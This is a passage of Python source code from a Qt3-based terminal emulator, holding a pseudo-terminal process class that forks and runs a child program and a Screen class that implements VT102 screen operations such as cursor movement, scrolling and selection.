50 from termios import tcgetattr, tcsetattr, VINTR, VQUIT, VERASE, \
51 TIOCSPGRP, TCSANOW, TIOCSWINSZ, TIOCSCTTY
52
53 import qt
54 import shell.core.signalable as signalable
55 from shell.core.common import CTRL
56 import shell.controller.qt3.procctrl as procctrl
57
58
59 class Job:
60 def __init__(self, string):
61 self.start = 0
62 self.string = string
63 self.length = len(string)
64
65 def finished(self):
66 return self.start == len(self.string)
67
68
69 class PtyProcess(signalable.Signalable, qt.QObject):
70 """fork a process using a controlling terminal
71
72 Ptys provide a pseudo terminal connection to a program, with child process
73 invocation, monitoring and control.
74
75 Although closely related to pipes, these pseudo terminal connections have
76 some ability, that makes it nessesary to uses them. Most importent, they
77 know about changing screen sizes and UNIX job control.
78
79 Within the terminal emulation framework, this class represents the
80 host side of the terminal together with the connecting serial line.
81
82 One can create many instances of this class within a program.
83 As a side effect of using this class, a signal(2) handler is
84 installed on SIGCHLD.
85 """
86
87 def __init__(self):
88 super(PtyProcess, self).__init__()
89 # the process id of the process.
90 # If it is called after the process has exited, it returns the process
91 # id of the last child process that was created by this instance of
92 # Process.
93 # Calling it before any child process has been started by this
94 # Process instance causes pid to be 0.
95 self.pid = None
96 # The process' exit status as returned by "waitpid".
97 self.status = None
98 # True if the process is currently running.
99 self.running = False
100 # the stdout socket descriptors
101 self.out = [-1, -1]
102 # the socket notifiers for the above socket descriptors
103 self._outnot = None
104 procctrl.theProcessController.addProcess(self)
105 self.wsize = (0, 0)
106 self.addutmp = False
107 self.term = None
108 self.openPty()
109 self._pending_send_jobs = []
110 self._pending_send_job_timer = None
111 self.myconnect('receivedStdout', self.dataReceived)
112 self.myconnect('processExited', self.donePty)
113
114 def XXX__del__(self):
115 # destroying the Process instance sends a SIGKILL to the
116 # child process (if it is running) after removing it from the
117 # list of valid processes
118 procctrl.theProcessController.removeProcess(self)
119 # this must happen before we kill the child
120 # TODO: block the signal while removing the current process from the
121 # process list
122 if self.running:
123 self.kill(signal.SIGKILL)
124 # Clean up open fd's and socket notifiers.
125 self.closeStdout()
126 # TODO: restore SIGCHLD and SIGPIPE handler if this is the last Process
127
128 def run(self, pgm, args, term, addutmp):
129 """start the client program
130
131 having a `run' separate from the constructor allows to make
132 the necessary connections to the signals and slots of the
133 instance before starting the execution of the client
134 """
135 self.term = term
136 self.addutmp = addutmp
137 self.start([pgm] + args)
138 self.resume()
139
140 def openPty(self):
141 """"""
142 self.master_fd, self.slave_fd = openpty()
143 #print os.ttyname(self.master_fd)
144 #print os.ttyname(self.slave_fd)
145 fcntl(self.master_fd, F_SETFL, os.O_NDELAY)
146 return self.master_fd
147
148 def setWriteable(self, writeable):
149 """set the slave pty writable"""
150 ttyname = os.ttyname(self.slave_fd)
151 mode = os.stat(ttyname).st_mode
152 if writeable:
153 mode |= stat.S_IWGRP
154 else:
155 mode &= ~(stat.S_IWGRP|stat.S_IWOTH)
156 os.chmod(ttyname, mode)
157
158 def setSize(self, lines, columns):
159 """Informs the client program about the actual size of the window."""
160 #print 'PTY set size', lines, columns
161 self.wsize = (lines, columns)
162 if self.master_fd is None:
163 return
164 #print 'PTY propagate size'
165 ioctl(self.master_fd, TIOCSWINSZ, pack('4H', lines, columns, 0, 0))
166
167 def setupCommunication(self):
168 """overriden from Process"""
169 self.out[0] = self.master_fd
170 self.out[1] = os.dup(2) # Dummy
171
172 def sendBytes(self, string):
173 """sends len bytes through the line"""
174 #XXX: print "INPUT (sendByte): ", string
175 if self._pending_send_jobs:
176 self.appendSendJob(string)
177 else:
178 written = 0
179 while written < len(string):
180 try:
181 written += os.write(self.master_fd, string[written:])
182 except OSError, ex:
183 if ex.errno in (errno.EAGAIN, errno.EINTR):
184 self.appendSendJob(string)
185 return
186
187 def appendSendJob(self, string):
188 """"""
189 self._pending_send_jobs.append(Job(string))
190 if not self._pending_send_job_timer:
191 self._pending_send_job_timer = qt.QTimer()
192 self._pending_send_job_timer.connect(self._pending_send_job_timer,
193 qt.SIGNAL('timeout()'),
194 self.doSendJobs)
195 self._pending_send_job_timer.start(0)
196
197 def doSendJobs(self):
198 """qt slot"""
199 while self._pending_send_jobs:
200 job = self._pending_send_jobs[0]
201 job.start += os.write(self.master_fd, job.string[job.start:])
202 #if ( errno!=EAGAIN and errno!=EINTR )
203 # self._pending_send_jobs.remove(self._pending_send_jobs.begin())
204 # return
205 if job.finished():
206 self._pending_send_jobs.remove(job)
207 if self._pending_send_job_timer:
208 self._pending_send_job_timer.stop()
209
210 def dataReceived(self, fd, lenlist):
211 """qt slot: indicates that a block of data is received """
212 try:
213 buf = os.read(fd, 4096)
214 except OSError:
215 import traceback
216 traceback.print_exc()
217 return
218 lenlist[0] = len(buf)
219 if not buf:
220 return
221
222 #XXX: these two signals are the same and we could have used the same one
223 # but it is just to order code
224
225 #TODO: consider the option of not sending the block_in signal here
226 # and avoid showing things on the terminal and wait until plugin processed
227 # the output to see if a different thing has to be shown
228 self.myemit('block_in', (buf,)) # signal to show it on screen
229 self.myemit('processOutput', (buf,)) # signal to pass it to plugins
230
231 def donePty(self):
232 """qt slot"""
233 ## if HAVE_UTEMPTER and self.addutmp:
234 ## utmp = UtmpProcess(self.master_fd, '-d',
235 ## os.ttyname(self.slave_fd))
236 ## utmp.start(RUN_BLOCK)
237 # this is called when the shell process exits
238 self.myemit('done', (self.exitStatus(),))
239
240 def detach(self):
241 """Detaches Process from child process. All communication is closed.
242
243 No exit notification is emitted any more for the child process.
244 Deleting the Process will no longer kill the child process.
245 Note that the current process remains the parent process of the child
246 process.
247 """
248 procctrl.theProcessController.removeProcess(self)
249 self.running = False
250 self.pid = 0
251 # clean up open fd's and socket notifiers.
252 self.closeStdout()
253
254 def closeStdout(self):
255 """This causes the stdout file descriptor of the child process to be
256 closed.
257
258 return False if no communication to the process's stdout
259 had been specified in the call to start().
260 """
261 self.suspend(delete=True)
262 self._outnot = None
263 os.close(self.out[0])
264
265 def normalExit(self):
266 """return True if the process has already finished and has exited
267 "voluntarily", ie: it has not been killed by a signal.
268
269 Note that you should check exitStatus() to determine
270 whether the process completed its task successful or not.
271 """
272 return self.pid and not self.running and os.WIFEXITED(self.status)
273
274 def exitStatus(self):
275 """Returns the exit status of the process.
276
277 Please use normalExit() to check whether the process has
278 exited cleanly (i.e., normalExit() returns True)
279 before calling this function because if the process did not exit
280 normally, it does not have a valid exit status.
281 """
282 return os.WEXITSTATUS(self.status)
283
284 def processHasExited(self, state):
285 """Immediately called after a process has exited. This function normally
286 calls commClose to close all open communication channels to this
287 process and emits the "processExited" signal.
288 """
289 if self.running:
290 self.running = False
291 self.status = state
292 self.commClose()
293 # also emit a signal if the process was run Blocking
294 self.myemit('processExited')
295
296 def childOutput(self, fdno):
297 """Called by "slotChildOutput" this function copies data arriving from
298 the child process's stdout to the respective buffer and emits the
299 signal "receivedStdout".
300 """
301 len_ = -1
302 # NB <alf>:the slot is supposed to change the value of
303 # len_ at least, dataReceived does it in the c++
304 # version. I emulate this by passing a list
305 lenlist = [len_]
306 self.myemit("receivedStdout", (fdno, lenlist))
307 len_ = lenlist[0]
308 return len_
309
310 def _parentSetupCommunication(self):
311 """Called right after a (successful) fork on the parent side. This
312 function will do some communications cleanup, like closing
313 the reading end of the "stdin" communication channel.
314
315 Furthermore, it must also create the "outnot" QSocketNotifiers
316 and connect its Qt slots to the respective member functions.
317 """
318 os.close(self.out[1])
319 # fcntl(out[0], F_SETFL, O_NONBLOCK))
320 self._outnot = qt.QSocketNotifier(self.out[0],
321 qt.QSocketNotifier.Read, self)
322 self.connect(self._outnot, qt.SIGNAL('activated(int)'),
323 self.slotChildOutput)
324 self.suspend()
325
326 def commClose(self):
327 """Should clean up the communication links to the child after it has
328 exited. Should be called from "processHasExited".
329 """
330 # If both channels are being read we need to make sure that one socket
331 # buffer doesn't fill up whilst we are waiting for data on the other
332 # (causing a deadlock). Hence we need to use select.
333 # Once one or other of the channels has reached EOF (or given an error)
334 # go back to the usual mechanism.
335 fcntl(self.out[0], F_SETFL, os.O_NONBLOCK)
336 self.suspend(delete=True)
337 self._outnot = None
338 while True:
339 # * If the process is still running we block until we
340 # receive data. (p_timeout = 0, no timeout)
341 # * If the process has already exited, we only check
342 # the available data, we don't wait for more.
343 # (p_timeout = &timeout, timeout immediately)
344 if self.running:
345 timeout = None
346 else:
347 timeout = 0
348 rfds = [self.out[0]]
349 rlist = select.select(rfds, [], [], timeout)[0]
350 if not rlist:
351 break
352 ret = 1
353 while ret > 0:
354 ret = self.childOutput(self.out[0])
355 if ret == 0:
356 break
357 os.close(self.out[0])
358
359 def start(self, arguments):
360 """Starts the process.
361
362 For a detailed description of the various run modes and communication
363 semantics, have a look at the general description of the Process class.
364
365 The following problems could cause this function to raise an exception:
366
367 * The process is already running.
368 * The command line argument list is empty.
369 * The starting of the process failed (could not fork).
370 * The executable was not found.
371
372 param comm Specifies which communication links should be
373 established to the child process (stdin/stdout/stderr). By default,
374 no communication takes place and the respective communication
375 signals will never get emitted.
376
377 return True on success, False on error
378 (see above for error conditions)
379 """
380 uid, gid = self._startInit(arguments)
381 fd = os.pipe()
382 # note that we use fork() and not vfork() because vfork() has unclear
383 # semantics and is not standardized.
384 self.pid = os.fork()
385 #print 'pid', self.pid
386 if 0 == self.pid:
387 self._childStart(uid, gid, fd, arguments)
388 else:
389 self._parentStart(fd)
390
391 def _startInit(self, arguments):
392 """initialisation part of the start method"""
393 if self.running:
394 raise Exception('cannot start a process that is already running')
395 if not arguments:
396 raise Exception('no executable has been assigned')
397 self.status = 0
398 self.setupCommunication()
399 # We do this in the parent because if we do it in the child process
400 # gdb gets confused when the application runs from gdb.
401 uid = os.getuid()
402 gid = os.getgid()
403 self.running = True
404 return uid, gid
405
406 def _childStart(self, uid, gid, fd, arguments):
407 """parent process part of the start method"""
408 if fd[0]:
409 os.close(fd[0])
410 # drop privileges
411 os.setgid(gid)
412 os.setuid(uid)
413 tt = self.slave_fd
414 # reset signal handlers for child process
415 for i in range(1, signal.NSIG):
416 try:
417 signal.signal(i, signal.SIG_DFL)
418 except RuntimeError, ex:
419 #print 'error resetting signal handler for sig %d: %s' % (i, ex)
420 continue
421 # Don't know why, but his is vital for SIGHUP to find the child.
422 # Could be, we get rid of the controling terminal by this.
423 soft = getrlimit(RLIMIT_NOFILE)[0]
424 # We need to close all remaining fd's.
425 # Especially the one used by Process.start to see if we are running ok.
426 for i in range(soft):
427 # FIXME: (result of merge) Check if (not) closing fd is OK)
428 if i != tt:# and i != self.master_fd):
429 try:
430 os.close(i)
431 except OSError:
432 continue
433 os.dup2(tt, sys.stdin.fileno())
434 os.dup2(tt, sys.stdout.fileno())
435 os.dup2(tt, sys.stderr.fileno())
436 if tt > 2:
437 os.close(tt)
438 # Setup job control
439 # This is pretty obscure stuff which makes the session
440 # to be the controlling terminal of a process group.
441 os.setsid()
442 ioctl(0, TIOCSCTTY, '')
443 # This sequence is necessary for event propagation. Omitting this
444 # is not noticeable with all clients (bash,vi). Because bash
445 # heals this, use '-e' to test it.
446 pgrp = os.getpid()
447 ioctl(0, TIOCSPGRP, pack('i', pgrp))
448
449 # XXX FIXME: the following crashes
450 # os.setpgid(0, 0)
451 # os.close(os.open(os.ttyname(tt), os.O_WRONLY))
452 # os.setpgid(0, 0)
453
454 tty_attrs = tcgetattr(0)
455 tty_attrs[-1][VINTR] = CTRL('C')
456 tty_attrs[-1][VQUIT] = CTRL('\\')
457 tty_attrs[-1][VERASE] = 0177
458 tcsetattr(0, TCSANOW, tty_attrs);
459
460 #os.close(self.master_fd)
461 # propagate emulation
462 if self.term:
463 os.environ['TERM'] = self.term
464 ioctl(0, TIOCSWINSZ, pack('4H', self.wsize[0], self.wsize[1], 0, 0))
465 # finally, pass to the new program
466 os.execvp(arguments[0], arguments)
467 sys.exit(1) # control should never come here.
468
469 def _parentStart(self, fd):
470 """parent process part of the start method"""
471 if fd[1]:
472 os.close(fd[1])
473 # Check whether client could be started.
474 if fd[0]:
475 while True:
476 bytes = os.read(fd[0], 1)
477 if not bytes:
478 break # success
479 if ord(bytes) == 1:
480 # Error
481 self.running = False
482 os.close(fd[0])
483 self.pid = 0
484 return False
485 break # success
486 if fd[0]:
487 os.close(fd[0])
488 self._parentSetupCommunication()
489
490 def kill(self, signo):
491 """Stop the process (by sending it a signal).
492
493 param signo The signal to send. The default is SIGTERM.
494 return True if the signal was delivered successfully.
495 """
496 os.kill(self.pid, signo)
497
498 def suspend(self, delete=False):
499 """Suspend processing of data from stdout of the child process.
500 """
501 if self._outnot:
502 self._outnot.setEnabled(False)
503 if delete:
504 self._outnot.deleteLater()
505
506 def resume(self):
507 """Resume processing of data from stdout of the child process.
508 """
509 if self._outnot:
510 self._outnot.setEnabled(True)
511
512 def slotChildOutput(self, fdno):
513 """This slot gets activated when data from the child's stdout arrives.
514 It usually calls "childOutput"
515 """
516 if not self.childOutput(fdno):
517 self.closeStdout()
0 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
1 # Copyright (c) 2005-2006 CEA Grenoble
2 # http://www.logilab.fr/ -- mailto:[email protected]
3 #
4 # This program is free software; you can redistribute it and/or modify it under
5 # the terms of the CECILL license, available at
6 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
7 #
8 """ Provide the Screen class.
9
10 The image manipulated by the emulation.
11
12 This class implements the operations of the terminal emulation framework.
13 It is a complete passive device, driven by the emulation decoder
14 (EmuVT102). By this it forms in fact an ADT, that defines operations
15 on a rectangular image.
16
17 It does neither know how to display its image nor about escape sequences.
18 It is further independent of the underlying toolkit. By this, one can even
19 use this module for an ordinary text surface.
20
21 Since the operations are called by a specific emulation decoder, one may
22 collect their different operations here.
23
24 The state manipulated by the operations is mainly kept in `image', though
25 it is a little more complex beyond this..
26
27 Based on the konsole code from Lars Doelle.
28
29 @author: Lars Doelle
30 @author: Benjamin Longuet
31 @author: Frederic Mantegazza
32 @author: Cyrille Boullier
33 @author: Sylvain Thenault
34 @copyright: 2003, 2005-2006
35 @organization: CEA-Grenoble
36 @organization: Logilab
37 @license: CECILL
38 """
39
40 __revision__ = "$Id: screen.py,v 1.32 2006-02-15 10:24:01 alf Exp $"
41
42 from ca import *
43 from helpers import wcWidth
44 from history import HistoryScrollBuffer
45
46 MODE_Origin = 0
47 MODE_Wrap = 1
48 MODE_Insert = 2
49 MODE_Screen = 3
50 MODE_Cursor = 4
51 MODE_NewLine = 5
52 MODES_SCREEN = 6
53
54 BS_CLEARS = False
55
56 #REVERSE_WRAPPED_LINES = True # For debug wrapped lines
57
58
59 class Screen(object):
60 """
61 the screen is a list of lists (columns * lines), i.e. get column 4
62 of line 2 with _image[3][1] (index start at 0...)
63
64 coordonate are stored as 2d point (y, x)
65 """
66
67 def __init__(self, l=1, c=1):
68 # Screen image
69 self.lines = l
70 self.columns = c
71 self._image = [[DCA for _ in xrange(c)] for _ in xrange(l+1)]
72 self._line_wrapped = [False for _ in xrange(l+1)]
73 # History buffer
74 self.hist_cursor = 0
75 self._hist = HistoryScrollBuffer(1000)
76 # Cursor location
77 self._cu_x = 0
78 self._cu_y = 0
79 # Cursor color and rendition info
80 self._cu_fg = 0
81 self._cu_bg = 0
82 self._cu_re = 0
83 # Margins top / bottom
84 self._margin_t = 0
85 self._margin_b = 0
86 # States
87 self._curr_mode = [None, None, None, None, None, None]
88 self._save_mode = [None, None, None, None, None, None]
89 self.__tabStops = None
90 # Effective color and rendition
91 self._eff_fg = 0
92 self._eff_bg = 0
93 self._eff_re = 0
94 # Save cursor location
95 self.__saCuX = 0
96 self.__saCuY = 0
97 # save cursor color and rendition info
98 self.__saCuFg = 0
99 self.__saCuBg = 0
100 self.__saCuRe = 0
101 # Selection
102 self.busy_selecting = False # Busy making a selection
103 self.clearSelection()
104 #
105 self.__initTabStops()
106 self.reset()
107
108 # Screen operations
109
110 # The `cursor' is a location within the screen that is implicitely used in
111 # many operations. The operations within this section allow to manipulate
112 # the cursor explicitly and to obtain it's value.
113
114 # The position of the cursor is guarantied to be between (including) 0 and
115 # `columns-1' and `lines-1'.
116
117 # Cursor movement
118
119 def cursorUp(self, n):
120 """CUU"""
121 if not n:
122 n = 1
123 if self._cu_y < self._margin_t:
124 stop = 0
125 else:
126 stop = self._margin_t
127 self._cu_x = min(self.columns-1, self._cu_x)
128 self._cu_y = max(stop, self._cu_y-n)
129
130 def cursorDown(self, n):
131 """CUD"""
132 if not n:
133 n = 1
134 if self._cu_y > self._margin_t:
135 stop = self.lines-1
136 else:
137 stop = self._margin_b
138 self._cu_x = min(self.columns-1, self._cu_x)
139 self._cu_y = max(stop, self._cu_y+n)
140
141 def cursorLeft(self, n):
142 """CUB"""
143 if not n:
144 n = 1
145 self._cu_x = min(self.columns-1, self._cu_x)
146 self._cu_x = max(0, self._cu_x-n)
147
148 def cursorRight(self, n):
149 """CUF"""
150 if not n:
151 n = 1
152 self._cu_x = min(self.columns-1, self._cu_x+n)
153
154 def setCursorX(self, x):
155 if not x:
156 x = 1
157 x -= 1
158 self._cu_x = max(0, min(self.columns-1, x))
159
160 def setCursorY(self, y):
161 if not y:
162 y = 1
163 y -= 1
164 if self.getMode(MODE_Origin):
165 dy = self._margin_t
166 else:
167 dy = 0
168 self._cu_y = max(0, min(self.lines-1, y+dy))
169
170 def setCursorYX(self, y, x):
171 self.setCursorX(x)
172 self.setCursorY(y)
173
174 def setMargins(self, top, bot):
175 """Set top and bottom margin"""
176 if top == 0:
177 top = 1
178 if bot == 0:
179 bot = self.lines
180 top -= 1
181 bot -= 1
182 if not (0 <= top and top < bot and bot < self.lines):
183 api.devlog("setMargins(%d, %d) : bad range" % (top, bot))
184 return
185 self._margin_t = top
186 self._margin_b = bot
187 self._cu_x = 0
188 if self.getMode(MODE_Origin):
189 self._cu_y = top
190 else:
191 self._cu_y = 0
192
193 # Cursor movement with scrolling
194 def newLine(self):
195 """
196 This behaves either as index() or as nextLine()
197 depending on the NewLine Mode (LNM). This mode also
198 affects the key sequence returned for newline ([CR]LF).
199 """
200 if self.getMode(MODE_NewLine):
201 self.return_()
202 self.index()
203
204 def nextLine(self):
205 self.return_()
206 self.index()
207
208 def index(self):
209 """Move the cursor down one line.
210
211 If cursor is on bottom margin, the region between the
212 actual top and bottom margin is scrolled up instead.
213 """
214 if self._cu_y == self._margin_b:
215 if self._margin_t == 0 and self._margin_b == self.lines-1:
216 self._addHistoryLine()
217 self._scrollUp(self._margin_t, 1)
218 elif self._cu_y < self.lines:
219 self._cu_y += 1
220
221 def reverseIndex(self):
222 """Move the cursor up one line.
223
224 If cursor is on the top margin, the region between the
225 actual top and bottom margin is scrolled down instead.
226 """
227 if self._cu_y == self._margin_t:
228 self._scrollDown(self._margin_t, 1)
229 elif self._cu_y > 0:
230 self._cu_y -= 1
231
232 def return_(self):
233 self._cu_x = 0
234
235 def tabulate(self):
236 self.cursorRight(1)
237 while self._cu_x < self.columns-1 and not self.__tabStops[self._cu_x]:
238 self.cursorRight(1)
239
240 def backSpace(self):
241 """Move the cursor to left one column"""
242 self._cu_x = max(0, self._cu_x-1)
243 if (BS_CLEARS):
244 oldca = self._image[self._cu_y][self._cu_x]
245 self._image[self._cu_y][self._cu_x] = Ca(u' ', oldca.f, oldca.b, oldca.r)
246
247 def clear(self):
248 """Clear the entire screen and home the cursor"""
249 self.clearEntireScreen()
250 self.home()
251
252 def home(self):
253 """home the cursor"""
254 self._cu_x = self._cu_y = 0
255
256 def reset(self):
257 self.setMode(MODE_Wrap) # Wrap at end of margin
258 self.saveMode(MODE_Wrap)
259 self.resetMode(MODE_Origin) # Position refere to [1,1]
260 self.saveMode(MODE_Origin)
261 self.resetMode(MODE_Insert) # Overstroke
262 self.saveMode(MODE_Insert)
263 self.setMode(MODE_Cursor) # Cursor visible
264 self.resetMode(MODE_Screen) # Screen not inversed
265 self.resetMode(MODE_NewLine)
266 self._margin_t = 0
267 self._margin_b = self.lines-1
268 self.setDefaultRendition()
269 self.saveCursor()
270 self.clear()
271
272 def eraseChars(self, n):
273 if n == 0:
274 n = 1
275 p = max(0, min(self._cu_x+n-1, self.columns-1))
276 self._clearImage([self._cu_y, self._cu_x], [self._cu_y, p], u' ')
277
278 def deleteChars(self, n):
279 if n == 0:
280 n = 1
281 p = max(0, min(self._cu_x+n, self.columns-1))
282 self._moveImage([self._cu_y, self._cu_x], [self._cu_y, p], [self._cu_y, self.columns-1])
283 self._clearImage([self._cu_y, self.columns-n], [self._cu_y, self.columns-1], u' ')
284
285 def insertChars(self, n):
286 if n == 0:
287 n = 1
288 p = max(0, min(self.columns-1-n, self.columns-1))
289 q = max(0, min(self._cu_x+n, self.columns-1))
290 self._moveImage([self._cu_y, q], [self._cu_y, self._cu_x], [self._cu_y, p])
291 self._clearImage([self._cu_y, self._cu_x], [self._cu_y, q-1], u' ')
292
293 def deleteLines(self, n):
294 if n == 0:
295 n = 1
296 self._scrollUp(self._cu_y, n)
297
298 def insertLines(self, n):
299 if n == 0:
300 n = 1
301 self._scrollDown(self._cu_y, n)
302
303 def clearTabStops(self):
304 for i in xrange(self.columns):
305 self.__tabStops[i-1] = False
306
307 def changeTabStop(self, set):
308 if self._cu_x >= self.columns:
309 return
310 self.__tabStops[self._cu_x] = set
311
312 def setMode(self, m):
313 self._curr_mode[m] = True
314 if m == MODE_Origin:
315 self._cu_x = 0
316 self._cu_y = self._margin_t
317
318 def resetMode(self, m):
319 self._curr_mode[m] = False
320 if m == MODE_Origin:
321 self._cu_x = self._cu_y = 0
322
323 def saveMode(self, m):
324 self._save_mode[m] = self._curr_mode[m]
325
326 def restoreMode(self, m):
327 self._curr_mode[m] = self._save_mode[m]
328
329 def saveCursor(self):
330 self.__saCuX = self._cu_x
331 self.__saCuY = self._cu_y
332 self.__saCuRe = self._cu_re
333 self.__saCuFg = self._cu_fg
334 self.__saCuBg = self._cu_bg
335
336 def restoreCursor(self):
337 self._cu_x = min(self.__saCuX, self.columns-1)
338 self._cu_y = min(self.__saCuY, self.lines-1)
339 self._cu_re = self.__saCuRe
340 self._cu_fg = self.__saCuFg
341 self._cu_bg = self.__saCuBg
342 self._effectiveRendition()
343
344 def clearEntireScreen(self):
345 self._clearImage([0, 0], [self.lines-1, self.columns-1], u' ')
346
347 def clearToEndOfScreen(self):
348 self._clearImage([self._cu_y, self._cu_x],
349 [self.lines-1, self.columns-1], u' ')
350
351 def clearToBeginOfScreen(self):
352 self._clearImage([0, 0], [self._cu_y, self._cu_x], u' ')
353
354 def clearEntireLine(self):
355 self._clearImage([self._cu_y, 0], [self._cu_y, self.columns-1], u' ')
356
357 def clearToEndOfLine(self):
358 self._clearImage([self._cu_y, self._cu_x],
359 [self._cu_y, self.columns-1], u' ')
360
361 def clearToBeginOfLine(self):
362 self._clearImage([self._cu_y, 0], [self._cu_y, self._cu_x], u' ')
363
364 def helpAlign(self):
365 self._clearImage([0, 0], [self.lines-1, self.columns-1], u'E')
366
367 def setRendition(self, re):
368 self._cu_re = self._cu_re | re
369 self._effectiveRendition()
370
371 def resetRendition(self, re):
372 self._cu_re = self._cu_re & ~re
373 self._effectiveRendition()
374
375 def setForeColor(self, fgcolor):
376 if fgcolor & 8:
377 self._cu_fg = (fgcolor & 7) + 4+8
378 else:
379 self._cu_fg = (fgcolor & 7) + 2
380 self._effectiveRendition()
381
382 def setBackColor(self, bgcolor):
383 if bgcolor & 8:
384 self._cu_bg = (bgcolor & 7) + 4+8
385 else:
386 self._cu_bg = (bgcolor & 7) + 2
387 self._effectiveRendition()
388
389 def setDefaultRendition(self):
390 self.setForeColorToDefault()
391 self.setBackColorToDefault()
392 self._cu_re = DEFAULT_RENDITION
393 self._effectiveRendition()
394
395 def setForeColorToDefault(self):
396 self._cu_fg = DEFAULT_FORE_COLOR
397 self._effectiveRendition()
398
399 def setBackColorToDefault(self):
400 self._cu_bg = DEFAULT_BACK_COLOR
401 self._effectiveRendition()
402
403 def getMode(self, n):
404 return self._curr_mode[n]
405
406 def getCursorX(self):
407 return self._cu_x
408
409 def getCursorY(self):
410 return self._cu_y
411
412 def showCharacter(self, c):
413 #print 'screen.showcharacter', chr(c)
414 w = wcWidth(c)
415 if w <= 0:
416 return
417 if self._cu_x+w > self.columns:
418 if self.getMode(MODE_Wrap):
419 self._line_wrapped[self._cu_y] = True
420 self.nextLine()
421 else:
422 self._cu_x = self.columns-w
423 if self.getMode(MODE_Insert):
424 self.insertChars(w)
425 cpt = [self._cu_y, self._cu_x]
426 self.checkSelection(cpt, cpt)
427 line = self._image[self._cu_y]
428 line[self._cu_x] = Ca(unichr(c), self._eff_fg, self._eff_bg,
429 self._eff_re)
430 self._cu_x += w
431 for i in xrange(1, w):
432 line[self._cu_x + i] = Ca(None, self._eff_fg, self._eff_bg,
433 self._eff_re)
434
435 def resizeImage(self, lines, columns):
436 if lines == self.lines and columns == self.columns:
437 return
438 if self._cu_y > lines+1:
439 self._margin_b = self.lines-1
440 for i in xrange(self._cu_y - (lines-1)):
441 self._addHistoryLine()
442 self._scrollUp(self._margin_t, 1)
443 # Make new image
444 newimg = [[DCA for x in xrange(columns)] for y in xrange(lines+1)]
445 newwrapped = [False for y in xrange(lines+1)]
446 # Copy to new image
447 for y in xrange(min(lines, self.lines)):
448 for x in xrange(min(columns, self.columns)):
449 newimg[y][x] = self._image[y][x]
450 newwrapped[y] = self._line_wrapped[y]
451 self._image = newimg
452 self._line_wrapped = newwrapped
453 self.lines = lines
454 self.columns = columns
455 self._cu_x = min(self._cu_x, self.columns-1)
456 self._cu_y = min(self._cu_y, lines-1)
457 self._margin_t = 0
458 self._margin_b = self.lines - 1
459 self.__initTabStops()
460 self.clearSelection()
461
462 def getCookedImage(self):
463 image = [[DCA for x in xrange(self.columns)] for y in xrange(self.lines)]
464 wrapped = [False for i in xrange(self.lines)]
465 hist = self._hist
466 actual_y = hist.lines - self.hist_cursor
467 # get lines from history
468 for y in xrange(min(self.lines, actual_y)):
469 yq = y + self.hist_cursor
470 len_ = min(self.columns, hist.getLineLen(yq))
471 image[y][:len_] = hist.getCells(yq, 0, len_)
472 for x in xrange(self.columns):
473 q = [yq, x]
474 if q >= self._sel_topleft and q <= self._sel_bottomright:
475 self._reverseRendition(image, x, y)
476 wrapped[y] = self._hist.isWrappedLine(y+self.hist_cursor)
477 # get lines from the actual screen
478 for y in xrange(actual_y, self.lines):
479 yq = y + self.hist_cursor
480 yr = y - actual_y
481 for x in xrange(self.columns):
482 q = [yq, x]
483 image[y][x] = self._image[yr][x]
484 if q >= self._sel_topleft and q <= self._sel_bottomright:
485 self._reverseRendition(image, x, y)
486
487 wrapped[y] = self._line_wrapped[y-actual_y]
488 # reverse rendition on screen mode
489 if self.getMode(MODE_Screen):
490 for y in xrange(self.lines):
491 for x in xrange(self.columns):
492 self._reverseRendition(image, x, y)
493 # update cursor
494 cuy = self._cu_y + actual_y
495 if self.getMode(MODE_Cursor) and \
496 cuy < self.lines and self._cu_x < self.columns:
497 ca = image[cuy][self._cu_x]
498 image[cuy][self._cu_x] = Ca(ca.c, ca.f, ca.b, ca.r | RE_CURSOR)
499 return image, wrapped
500
501 def getHistLines(self):
502 return self._hist.lines
503
504 def setScroll(self, scroll_type):
505 self.clearSelection()
506 self._hist = scroll_type.getScroll(self._hist)
507 self.hist_cursor = self._hist.lines
508
509 def getScroll(self):
510 return self._hist.getType()
511
512 def hasScroll(self):
513 return self._hist.hasScroll()
514
515 def _clearImage(self, loca, loce, c):
516 # Clear entire selection if overlaps region to be moved
517 if self._overlapSelection(loca, loce):
518 self.clearSelection()
519 ca = Ca(c, self._eff_fg, self._eff_bg, DEFAULT_RENDITION)
520 for y in xrange(loca[0], loce[0]+1):
521 for x in xrange(loca[1], loce[1]+1):
522 self._image[y][x] = ca
523 self._line_wrapped[y] = False
524
525 def _moveImage(self, dest, loca, loce):
526 #print 'move image', dest, loca, loce
527 assert loce >= loca
528 # XXX x coordonates are not always considered. Is it enough actually ?
529 ys = loca[0]
530 if dest[0] != ys:
531 dy = loce[0] - ys + 1
532 self._image[dest[0]:dest[0]+dy] = [lines[:] for lines in self._image[ys:ys+dy]]
533 for i in xrange(dy):
534 self._line_wrapped[dest[0]+i] = self._line_wrapped[ys+i]
535 else:
536 xs = loca[1]
537 dx = loce[1] - xs + 1
538 self._image[ys][dest[1]:dest[1]+dx] = self._image[ys][xs:xs+dx]
539 # Adjust selection to follow scroll
540 if self._sel_begin != [-1, -1]:
541 beginIsSTL = (self._sel_begin == self._sel_topleft)
542 diff = self._subPoints(dest, loca) # Scroll by this amount
543 scr_topleft = [self._hist.lines, 0]
544 srca = self._addPoints(loca, scr_topleft) # Translate index from screen to global
545 srce = self._addPoints(loce, scr_topleft)
546 desta = self._addPoints(srca, diff)
547 deste = self._addPoints(srce, diff)
548 if self._sel_topleft >= srca and self._sel_topleft <= srce:
549 self._sel_topleft = self._addPoints(self._sel_topleft, diff)
550 elif self._sel_topleft >= desta and self._sel_topleft <= deste:
551 self._sel_bottomright = [-1, -1] # Clear selection (see below)
552 if self._sel_bottomright >= srca and self._sel_bottomright <= srce:
553 self._sel_bottomright = self._addPoints(self._sel_bottomright, diff)
554 elif self._sel_bottomright >= desta and self._sel_bottomright <= deste:
555 self._sel_bottomright = [-1, -1] # Clear selection (see below)
556 if self._sel_bottomright < [0, 0]:
557 self.clearSelection()
558 elif self._sel_topleft < [0, 0]:
559 self._sel_topleft = [0, 0]
560 if beginIsSTL:
561 self._sel_begin = self._sel_topleft
562 else:
563 self._sel_begin = self._sel_bottomright
564
565 def _scrollUp(self, from_, n):
566 if n <= 0 or from_+n > self._margin_b:
567 return
568 ecoord = [self._margin_b, self.columns-1]
569 self._moveImage([from_, 0], [from_+n, 0], ecoord)
570 self._clearImage([self._margin_b-n+1, 0], ecoord, u' ')
571
